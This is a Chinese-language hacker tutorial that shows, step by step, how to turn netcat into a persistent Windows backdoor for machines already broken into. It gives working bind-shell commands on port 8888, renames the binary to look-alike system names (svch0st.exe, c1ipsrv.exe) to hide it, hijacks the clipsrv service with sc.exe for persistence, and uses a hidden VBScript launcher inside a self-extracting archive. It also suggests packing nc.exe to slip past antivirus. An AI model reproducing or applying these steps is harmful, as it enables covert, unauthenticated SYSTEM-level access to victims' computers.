大家都知道nc是一個強大並且靈活的駭客工具,用他可以做很多事情,譬如做為telnet的用戶端口,譬如入侵的時候反彈回來shell,譬如掃描……但是你有沒有想過將他打造成一個服務級的後門呢?現在好多跟我一樣的菜鳥還不懂得編程,別人寫的流行點的後門又經常被殺,那就跟我一起來自己手工製作一個後門吧,不需要任何編程知識菜鳥級的東東哦。
首先請準備好不被殺的nc.exe(隨便加個殼就可以了的),還有sc.exe(這個是操作服務的一個小工具,被人稱為操作服務的軍刀),這些就可以打造我們自己的後門了,後門的要求我想不需要很強的操作功能,只需要當我們串連的時候獲得一個system許可權的shell就可以了,有了cmdshell做什麼不可以呢。如果你需要反彈的後門,也可以做到,自己註冊個網域名稱就可以用nc反彈了,因為比較複雜這裡就不說了。我們知道nc就是實現我們的後門功能的最經典的工具,我們來看看nc的協助,命令列下輸入nc -h就可以看到,我們主要用到的幾個參數如下:
-e 綁定一個程式並且串連時執行
-l 監聽模式
-p 指定nc要啟動並執行本地連接埠
-L 增強了的監聽模式,當串連斷開時再次監聽
至於其他的用法相信各位已經很瞭解了的,我們以前經常用到的是
nc -l -e cmd.exe -p 8888 //監聽8888連接埠,當有串連時重新導向到cmd.exe實現綁定一個shell//
這樣的形式用serveru等溢出程式執行後來綁定一個可以得到shell的連接埠8888,我們telnet或者nc串連上來的時候就可以直接獲得一個shell。但是這樣串連斷開之後監聽的連接埠就會關閉,是一次性的,不能再次獲得shell,這樣當然不適合於做後門了。後來發現nc的這個參數L可以一直保持監聽的狀態,可以反覆串連。用
nc -L -e cmd.exe -p 8888 //也是綁定的,不過加強了的//
這樣的命令就已經達到我們的目的了,但是我們往往是在溢出的shell裡工作,留後門是為了以後的進入,那我們如何保證nc再機器重起之後還可以工作從而實現我們的後門的目的呢?你可以把他放到註冊表的Run等啟動項下面,但是感覺那樣不是太好,有些地方已經被殺毒軟體盯上了,把我的後門放到那裡實在不是很放心,後來想到乾脆作成服務吧!隨著系統啟動而啟動,呵呵。那就看看如何打造服務吧!
首先我們將nc.exe放到%systemroot%/system32下面,起名叫svch0st.exe或者放到%systemroot%/system下面更名叫svchost.exe,這樣的目的是為了在工作管理員裡看不出異樣。然後用sc替換系統的服務,不用改別的,只要修改他的執行路徑就可以了,我們就改那個clipsrv.exe服務吧!命令如下:
sc config clipsrv start= auto //將clipsrv.exe服務設定為自動//
sc config clipsrv binpath= "c:/winnt/system32/svch0st.exe -L -e cmd.exe -p 8888" //設定clipsrv.exe服務的啟動路徑為我們的nc//
sc start clipsrv //啟動clipsrv.exe服務//
嘿嘿,但是看看結果吧!看看服務裡的顯示資訊,一,很顯眼哦!不管,先啟動服務然後
netstat -an|find "8888" //netstat -an的結果中尋找8888看我們的程式是否運行//
二。的確是已經被開啟了,但是當顯示服務沒有響應的時候nc的進程被結束了,這是Windows服務管理機制吧。不是很成功呵,我們繼續改造!不懂編程的我們這個時候就會很鬱悶,因為不能讓服務停止回應的時候我開始想用bat2exe.exe,但是啟動服務的時候總是出現拒絕訪問的錯誤,大概是bat2exe出來的exe檔案不被系統服務格式所支援,只能想其他的辦法了,於是我想到了用Winrar.exe來做我們自己的exe檔案,這總該被服務的可執行檔支援吧!至於如何?編程裡的子進程在父進程終止後仍然可以在記憶體中運行,我用的方法是寫個run.vbs然後用cscript.exe來調用,至於如何調用就可以在自解壓格式裡設定解壓後運行cscript.exe run.vbs,三。其中Run.vbs裡的內容如下:
dim sh //定義變數//
set sh=createobject("wscript.shell" //取得WSH對象//
sh.run "nc -L -e cmd.exe -p 8888",0 //執行我們的程式並隱藏錯誤//
而自解壓的路徑寫上%systemroot%/system32,這樣我們自解壓服務程式就做好了,儲存為c1ipsrv.exe(不好意思,還是用那個1和l的把戲),放到c:/winnt/system32目錄下面。現在修改我們的clipsrv剪下薄服務的具體路徑為c:/winnt/system32/c1ipsrv.exe,命令如下:
sc stop clipsrv //將clipsrv.exe服務設定為自動//
sc config clipsrv start= auto
sc config clipsrv binpath= "c:/winnt/system32/c1ipsrv.exe" //設定clipsrv.exe服務的啟動路徑為我們的nc//
sc start clipsrv //啟動clipsrv.exe服務//
現在一切OK了,這樣以來我們的程式的參數細節還會被屏蔽,比開始的參數直接放到執行檔案路徑裡好多了。我們來實驗下。先net start clipsrv,然後netstat -an|find "8888"看看開沒開8888連接埠,最後用nc 127.0.0.1 8888串連上去得到shell了呵!四。好了,快去體驗自己動手的快樂哦,你還可以作其他的事情,只要你的服務的程式做的夠好,甚至可以用反向回來的nc,具體我就不寫了。
本文是我看了韓的一個動畫之後想到的,後來自己想到完全可以將nc改成後門的,不過也還是有很大的缺陷,畢竟不是編程,因為不能返回資訊給服務控制器,會在日誌裡留一些錯誤,不過,有多少人去在意這些錯誤呢?還有就是沒有身分識別驗證功能,不過連接埠可以自訂不知道算不算一個身分識別驗證。